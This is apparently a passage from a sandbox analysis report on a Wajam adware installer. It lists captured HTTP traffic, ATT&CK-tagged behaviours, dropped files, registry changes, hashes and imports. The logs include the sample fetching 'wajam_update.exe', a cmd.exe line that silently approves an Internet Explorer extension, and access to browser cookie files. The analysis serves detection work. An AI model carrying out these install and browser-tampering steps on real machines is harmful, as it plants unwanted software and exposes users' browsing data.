  Cookie: personalization_id="v1_klJqB00qZ2y8VHUHD/E+KQ=="; guest_id=v1%3A151245755858269842"
  "GET /js/min_fancybox.js?1.00434.0 HTTP/1.1
  Accept: application/javascript, */*;q=0.8
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Accept-Encoding: gzip, deflate
  Host: www.wajam.com
  DNT: 1
  Connection: Keep-Alive
  Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp"
  "GET /js/min_signup_page.js?1.00434.0 HTTP/1.1
  Accept: application/javascript, */*;q=0.8
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Accept-Encoding: gzip, deflate
  Host: www.wajam.com
  DNT: 1
  Connection: Keep-Alive
  Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp"
  "GET /css/min_fancybox.css?1.00434.0 HTTP/1.1
  Accept: text/css, */*
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Accept-Encoding: gzip, deflate
  Host: www.wajam.com
  DNT: 1
  Connection: Keep-Alive
  Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp"
  "GET /css/min_signup.css?1.00434.0 HTTP/1.1
  Accept: text/css, */*
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Accept-Encoding: gzip, deflate
  Host: www.wajam.com
  DNT: 1
  Connection: Keep-Alive
  Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp"
  "GET /css/min_general.css?1.00434.0 HTTP/1.1
  Accept: text/css, */*
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Accept-Encoding: gzip, deflate
  Host: www.wajam.com
  DNT: 1
  Connection: Keep-Alive
  Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp"
  "GET /imgs/feedback.png HTTP/1.1
  Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Accept-Encoding: gzip, deflate
  Host: www.wajam.com
  DNT: 1
  Connection: Keep-Alive
  Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp"
  "GET /update/Updater/wajam_update.exe HTTP/1.1
  Accept: */*
  If-Modified-Since: Tue, 18 Jun 2019 15:49:00 +0000
  Accept-Encoding: gzip, deflate
  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
  Host: www.wajam.com
  Connection: Keep-Alive"
  "GET /css?family=Signika:400,300,600,700 HTTP/1.1
  Accept: text/css, */*
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Accept-Encoding: gzip, deflate
  Host: fonts.googleapis.com
  DNT: 1
  Connection: Keep-Alive"
  "GET /css/webfonts/F37F5_0.eot? HTTP/1.1
  Accept: */*
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Origin: http://www.wajam.com
  Accept-Encoding: gzip, deflate
  Host: www.wajam.com
  DNT: 1
  Connection: Keep-Alive
  Cookie: _wau=15609585538671540; _wal=1560958626; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp"
  "GET /css/webfonts/F37F5_1.eot? HTTP/1.1
  Accept: */*
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Origin: http://www.wajam.com
  Accept-Encoding: gzip, deflate
  Host: www.wajam.com
  DNT: 1
  Connection: Keep-Alive
  Cookie: _wau=15609585538671540; _wal=1560958626; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp"
  "GET /installer/finish?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831 HTTP/1.1
  User-Agent: NSIS_Inetc (Mozilla)
  Host: www.wajam.com
  Connection: Keep-Alive
  Cache-Control: no-cache
  Cookie: PHPSESSID=vmnbhu240179dbfikdpk82ajel; _wau=15609585538671540; _wal=1560958626; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; APPSESSID=w3|XQpWo|XQpWf"
  "GET /imgs/app/wajam/mainSprite.png HTTP/1.1
  Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Accept-Encoding: gzip, deflate
  Host: media-c9hg3zwqygdshhtrps.stackpathdns.com
  DNT: 1
  Connection: Keep-Alive"
  
  source
  
  Network Traffic
  
  relevance
  
  5/10
- Launches a browser
  
  details
  
  Launches browser "iexplore.exe" (Show Process)
  Launches browser "iexplore.exe" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  3/10
- Loads rich edit control libraries
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" loaded module "%WINDIR%\System32\riched20.dll" at 6F120000
  
  source
  
  Loaded Module
  
  ATT&CK ID
  
  T1179 (Show technique in the MITRE ATT&CK™ matrix)
- Overview of unique CLSIDs touched in registry
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched "PSFactoryBuffer" (Path: "HKCR\SOFTWARE\CLASSES\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\TREATAS")
  
  source
  
  Registry Access
  
  relevance
  
  3/10
- Runs shell commands
  
  details
  
  "/C IE_approveExt.exe {A7A6995D-6EE1-4FD1-A258-49395D5BF99C}" on 2019-6-19.17:38:52.183
  
  source
  
  Monitored Target
  
  relevance
  
  5/10
- Scanning for window names
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" searching for class "#32770"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" searching for class "IEFrame"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" searching for class "MozillaContentWindowClass"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" searching for class "MozillaDropShadowWindowClass"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" searching for class "MozillaWindowClass"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" searching for class "MozillaUIWindowClass"
  
  source
  
  API Call
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1010 (Show technique in the MITRE ATT&CK™ matrix)
- Spawns new processes
  
  details
  
  Spawned process "cmd.exe" with commandline "/C IE_approveExt.exe {A7A6995D-6EE1-4FD1-A258-49395D5BF99C}" (Show Process)
  Spawned process "IE_approveExt.exe" with commandline "{A7A6995D-6EE1-4FD1-A258-49395D5BF99C}" (Show Process)
  Spawned process "iexplore.exe" with commandline ""http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1E ..." (Show Process), Spawned process "WajamUpdater.exe" with commandline "/Service" (Show Process), Spawned process "iexplore.exe" with commandline "SCODEF:2612 CREDAT:275457 /prefetch:2" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  3/10
- Spawns new processes that are not known child processes
  
  details
  
  Spawned process "cmd.exe" with commandline "/C IE_approveExt.exe {A7A6995D-6EE1-4FD1-A258-49395D5BF99C}" (Show Process)
  Spawned process "IE_approveExt.exe" with commandline "{A7A6995D-6EE1-4FD1-A258-49395D5BF99C}" (Show Process)
  Spawned process "iexplore.exe" with commandline ""http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1E ..." (Show Process), Spawned process "WajamUpdater.exe" with commandline "/Service" (Show Process), Spawned process "iexplore.exe" with commandline "SCODEF:2612 CREDAT:275457 /prefetch:2" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  3/10
Installation/Persistance
- Connects to LPC ports
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" connecting to "\ThemeApiPort"
  "IE_approveExt.exe" connecting to "\ThemeApiPort"
  
  source
  
  API Call
  
  relevance
  
  1/10
- Dropped files
  
  details
  
  "urlblockindex_1_.bin" has type "data"
  "SimpleSC.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "inetc.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "uninstall.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive"
  "WajamUpdater.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
  "priam_bho.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "ExecCmd.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "DcryptDll.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "IE_approveExt.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"
  "GetVersion.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows UPX compressed"
  "IpConfig.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "nsisos.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
  "uninstall.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Archive ctime=Wed Sep 18 20:17:38 2013 mtime=Wed Jun 19 15:38:51 2019 atime=Wed Sep 18 20:17:38 2013 length=64296 window=hide"
  "System.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "MoreInfo.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "nsqE177.tmp" has type "data"
  "F5F320A94D4D2B4465D8F17E2BB2D351_E0B0930DA81DB590D1C74605A7640D62" has type "data"
  "min_general_1_.css" has type "ASCII text with very long lines with no line terminators"
  "6BADA8974A10C4BD62CC921D13E43B18_BEB37ABADF39714871232B4792417E04" has type "data"
  
  source
  
  Binary File
  
  relevance
  
  3/10
- Opens the MountPointManager (often used to detect additional infection locations)
  
  details
  
  "iexplore.exe" opened "\Device\MountPointManager"
  
  source
  
  API Call
  
  relevance
  
  5/10
- Touches files in the Windows directory
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Windows\System32\rsaenh.dll"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Cookies"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\History"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Windows\System32\wshqos.dll"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Cookies\AI3MDJGU.txt"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Caches"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001f.db"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Windows\Fonts\StaticCache.dat"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Windows\System32\en-US\msctf.dll.mui"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Cookies\QRQHVVP5.txt"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" touched file "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Cookies\YPJTL9V3.txt"
  
  source
  
  API Call
  
  relevance
  
  7/10
Network Related
- Found potential URL in binary/memory
  
  details
  
  Pattern match: "http://nsis.sf.net/NSIS_Error"
  Pattern match: "www.wajam.com"
  Heuristic match: "ajax.googleapis.com"
  Heuristic match: "platform.twitter.com"
  Heuristic match: "fonts.googleapis.com"
  Heuristic match: "media-c9hg3zwqygdshhtrps.stackpathdns.com"
  Heuristic match: "stats.g.doubleclick.net"
  Heuristic match: "syndication.twitter.com"
  Pattern match: "https://platform.twitter.com"
  Pattern match: "http://go.microsoft.com/fwlink/?LinkId=159651"
  Pattern match: "http://www.wajam.com/installer/start?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857"
  Pattern match: "http://www.wajam.com/contact_us.php"
  Pattern match: "http://www.wajam.com"
  Pattern match: "http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp="
  Pattern match: "http://www.wajam.com/update/Updater/wajam_update.exe"
  Pattern match: "http://downloadfallback.wajam.com/update/Updater/wajam_update.exe"
  Pattern match: "inetc.dll/endhttp://www.wajam.com/installer/progress?section=&aid=&aid2=&unique_id=&tv=1.92-13&install_timestamp=getDTRACK"
  Pattern match: "http://www.wajam.com/faq.\par"
  Pattern match: "http://www.wajam.com/terms-of-service"
  Pattern match: "www.wajam.com/update/Updater/wajam_update.exeS"
  Pattern match: "http://nsis.sf.net/NSIS_ErrorError"
  Heuristic match: "#w.iO"
  Heuristic match: "r`>*3@T,Y|-1jACX8|X}imTCcCO_s}b}kMwa^ul5}Vy7gy=hO~;!|-Os&[-.jp"
  Pattern match: "www.usertrust.com10UUTN-USERFirst-Object0"
  Pattern match: "fonts.googleapis.com/css?family=Signika:400,300,600,700"
  Pattern match: "http://web1sb.wajam.com"
  Pattern match: "http://s.waj.am/"
  Pattern match: "http://waj.am/"
  Pattern match: "http://web1sb.wajam.com/shorturl.php"
  Pattern match: "http://www.wajam.com/shorturl.php"
  Pattern match: "http://www.wajam.com/update/InternetExplorer/update_bho.xml"
  Pattern match: "http://www.wajam.com/"
  Pattern match: "wajam.com/update/InternetExplorer/update_bho.xml"
  Heuristic match: "/web1sb.wajam.com"
  Pattern match: "1sb.wajam.com/shorturl.php"
  Pattern match: "www.wajam.com/"
  Pattern match: "www.priam.com/"
  Pattern match: "http://msdn.microsoft.com/en-us/library/aa385465.aspx"
  Pattern match: "https://go.microsoft.com/fwlink/?LinkID=401352"
  Pattern match: "https://go.microsoft.com/fwlink/?LinkID=513071"
  
  source
  
  File/Memory
  
  relevance
  
  10/10
- HTTP request contains Base64 encoded artifacts
  
  details
  
  "{-jYmg"
  "?;Qu6x{"
  "{-jYmg"
  "?;Qu6x{"
  "J('FM4"
  
  source
  
  Network Traffic
  
  relevance
  
  7/10
  
  ATT&CK ID
  
  T1132 (Show technique in the MITRE ATT&CK™ matrix)
Spyware/Information Retrieval
- Found a reference to a known community page
  
  details
  
  "platform.twitter.com" (Indicator: "twitter")
  "syndication.twitter.com" (Indicator: "twitter")
  "HTTP/1.1 200 OK
  access-control-allow-credentials: true
  access-control-allow-origin: https://platform.twitter.com
  cache-control: must-revalidate, max-age=600
  content-encoding: gzip
  content-length: 125
  content-type: application/json; charset=utf-8
  date: Wed, 19 Jun 2019 15:37:10 GMT
  last-modified: Wed, 19 Jun 2019 15:37:10 GMT
  server: tsa_a
  set-cookie: tfw_exp=1; Max-Age=1209600; Expires=Wed, 3 Jul 2019 15:37:10 GMT; Path=/; Domain=.twitter.com
  strict-transport-security: max-age=631138519
  vary: Origin
  x-connection-hash: e206d73eacc08a29c993493a718f3b30
  x-response-time: 6" (Indicator: "twitter")
  "{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\lang1033\fs16 Facebook and Twitter user data is used by Wajam to give you personal results from friends based on what you search.\par" (Indicator: "twitter")
  
  source
  
  File/Memory
  
  relevance
  
  7/10
System Security
- Creates or modifies windows services
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS")
  "WajamUpdater.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\APPLICATION\WAJAMUPDATER")
  "WajamUpdater.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\APPLICATION\WAJAMUPDATER"; Key: "EVENTMESSAGEFILE"; Value: "%PROGRAMFILES%\Wajam\Updater\WajamUpdater.exe")
  "WajamUpdater.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\APPLICATION\WAJAMUPDATER"; Key: "TYPESSUPPORTED"; Value: "07000000")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1112 (Show technique in the MITRE ATT&CK™ matrix)
- Opens the Kernel Security Device Driver (KsecDD) of Windows
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "\Device\KsecDD"
  "IE_approveExt.exe" opened "\Device\KsecDD"
  
  source
  
  API Call
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1215 (Show technique in the MITRE ATT&CK™ matrix)
Unusual Characteristics
- Found Delphi 4 - Delphi 2006 artifact
  
  details
  
  "SimpleSC.dll" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu Jan 1 00:00:00 1970
  
  source
  
  Static Parser
  
  relevance
  
  10/10
- Matched Compiler/Packer signature
  
  details
  
  "f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin" was detected as "Nullsoft PiMP Stub -> SFX"
  "SimpleSC.dll" was detected as "Borland Delphi 4.0"
  "inetc.dll" was detected as "Microsoft visual C++ 6.0 DLL"
  "uninstall.exe" was detected as "Nullsoft PiMP Stub -> SFX"
  "WajamUpdater.exe" was detected as "VC8 -> Microsoft Corporation"
  "priam_bho.dll" was detected as "Visual C++ 2005 DLL -> Microsoft"
  "ExecCmd.dll" was detected as "Morphine v1.2 (DLL)"
  "IE_approveExt.exe" was detected as "VC8 -> Microsoft Corporation"
  "GetVersion.dll" was detected as "ACProtect v1.3x - v1.4x DLL -> Risco Software Inc."
  "IpConfig.dll" was detected as "Visual C++ 2005 DLL -> Microsoft"
  "nsisos.dll" was detected as "LCC-Win32 DLL"
  
  source
  
  Static Parser
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1002 (Show technique in the MITRE ATT&CK™ matrix)

File Details

All Details:

6a393ecb2861a27240d322dd407f6adb7218b0a5.exe

Filename: 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe
Size: 518KiB (529993 bytes)
Type: peexe executable
Description: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Architecture
: WINDOWS
SHA256
: f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c
MD5
: b38af493a4b5beaf6f2f3c1fec981fda
SHA1
: 6a393ecb2861a27240d322dd407f6adb7218b0a5
ssdeep
: 12288:eHISnM6kGaGHFC0l+zRhP4+7GP/fof613pbYF:eHe6kGTVlsRex3flZbYF
imphash
: dfb06052e74b26a42b0e490bd1c07959
authentihash
: dcfa8fb50417138712fee62db095bb2ba4a9cf45e1f498b3201102030b2915c9
Compiler/Packer
: Nullsoft PiMP Stub -> SFX

Resources

Language
: ENGLISH
Icon

Visualization

Input File (PortEx)

Version Info

LegalCopyright: Wajam. All right reserved.
ProductName: Wajam
LegalTrademarks: Wajam Great minds search alike.
FileVersion: 1.92
FileDescription: -
Translation: 0x0409 0x0000

Classification (TrID)

91.7% (.EXE) NSIS - Nullsoft Scriptable Install System
3.3% (.EXE) Win32 Executable MS Visual C++ (generic)
2.9% (.EXE) Win64 Executable (generic)
0.7% (.DLL) Win32 Dynamic Link Library (generic)
0.4% (.EXE) Win32 Executable (generic)

File Metadata

1 .RES Files linked with CVTRES.EXE 5.00 (Visual Studio 5) (build: 1735)
10 .C Files compiled with CL.EXE (Visual Studio 6 Processor Pack) (build: 9044)
17 .LIB Files generated with LIB.EXE 7.10 (Visual Studio .NET 2003) (build: 4035)

2 .C Files compiled with CL.EXE 13.10 (Visual Studio .NET 2003) (build: 4035)

File Sections

Details	Name	Entropy	Virtual Address	Virtual Size	Raw Size	MD5	Characteristics
Name .text Entropy 6.44297354311 Virtual Address 0x1000 Virtual Size 0x61a4 Raw Size 0x6200 MD5 b43b45410a805db203e6093d29ea0c46	.text	6.44297354311	0x1000	0x61a4	0x6200	b43b45410a805db203e6093d29ea0c46	-
Name .rdata Entropy 5.30670022446 Virtual Address 0x8000 Virtual Size 0x11e0 Raw Size 0x1200 MD5 7ed6b8f2aebb0d5dd5fc04dbfc811968	.rdata	5.30670022446	0x8000	0x11e0	0x1200	7ed6b8f2aebb0d5dd5fc04dbfc811968	-
Name .data Entropy 5.13029511665 Virtual Address 0xa000 Virtual Size 0x1c3f8 Raw Size 0xc00 MD5 f6c933d6d1311c822ffc667d0085d96c	.data	5.13029511665	0xa000	0x1c3f8	0xc00	f6c933d6d1311c822ffc667d0085d96c	-
Name .ndata Entropy 0 Virtual Address 0x27000 Virtual Size 0x2a000 Raw Size 0x0 MD5 d41d8cd98f00b204e9800998ecf8427e	.ndata	0	0x27000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	-
Name .rsrc Entropy 5.36868419501 Virtual Address 0x51000 Virtual Size 0x2180 Raw Size 0x2200 MD5 bcb004cf15f898f2d26d57cc42042f1e	.rsrc	5.36868419501	0x51000	0x2180	0x2200	bcb004cf15f898f2d26d57cc42042f1e	-

File Resources

Details	Name	RVA	Size	Type	Language
Name RT_ICON RVA 0x51238 Size 0x10a8 Type dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 4279336624, next used block 4279336624 Language English	RT_ICON	0x51238	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 4279336624, next used block 4279336624	English
Name RT_ICON RVA 0x522e0 Size 0x468 Type GLS_BINARY_LSB_FIRST Language English	RT_ICON	0x522e0	0x468	GLS_BINARY_LSB_FIRST	English
Name RT_DIALOG RVA 0x52748 Size 0xb4 Type data Language English	RT_DIALOG	0x52748	0xb4	data	English
Name RT_DIALOG RVA 0x52800 Size 0x180 Type data Language English	RT_DIALOG	0x52800	0x180	data	English
Name RT_DIALOG RVA 0x52980 Size 0xf8 Type data Language English	RT_DIALOG	0x52980	0xf8	data	English
Name RT_DIALOG RVA 0x52a78 Size 0xee Type data Language English	RT_DIALOG	0x52a78	0xee	data	English
Name RT_GROUP_ICON RVA 0x52b68 Size 0x22 Type MS Windows icon resource - 2 icons, 16x16 Language English	RT_GROUP_ICON	0x52b68	0x22	MS Windows icon resource - 2 icons, 16x16	English
Name RT_VERSION RVA 0x52b90 Size 0x22c Type data Language English	RT_VERSION	0x52b90	0x22c	data	English
Name RT_MANIFEST RVA 0x52dc0 Size 0x3be Type XML 1.0 document, ASCII text, with very long lines, with no line terminators Language English	RT_MANIFEST	0x52dc0	0x3be	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English

File Imports

RegCloseKey

RegCreateKeyExA

RegDeleteKeyA

RegDeleteValueA

RegEnumKeyA

RegEnumValueA

RegOpenKeyExA

RegQueryValueExA

RegSetValueExA

ImageList_AddMasked

ImageList_Create

ImageList_Destroy

CreateBrushIndirect

CreateFontIndirectA

DeleteObject

GetDeviceCaps

SelectObject

SetBkColor

SetBkMode

SetTextColor

CloseHandle

CompareFileTime

CopyFileA

CreateDirectoryA

CreateFileA

CreateProcessA

CreateThread

DeleteFileA

ExitProcess

ExpandEnvironmentStringsA

FindClose

FindFirstFileA

FindNextFileA

FreeLibrary

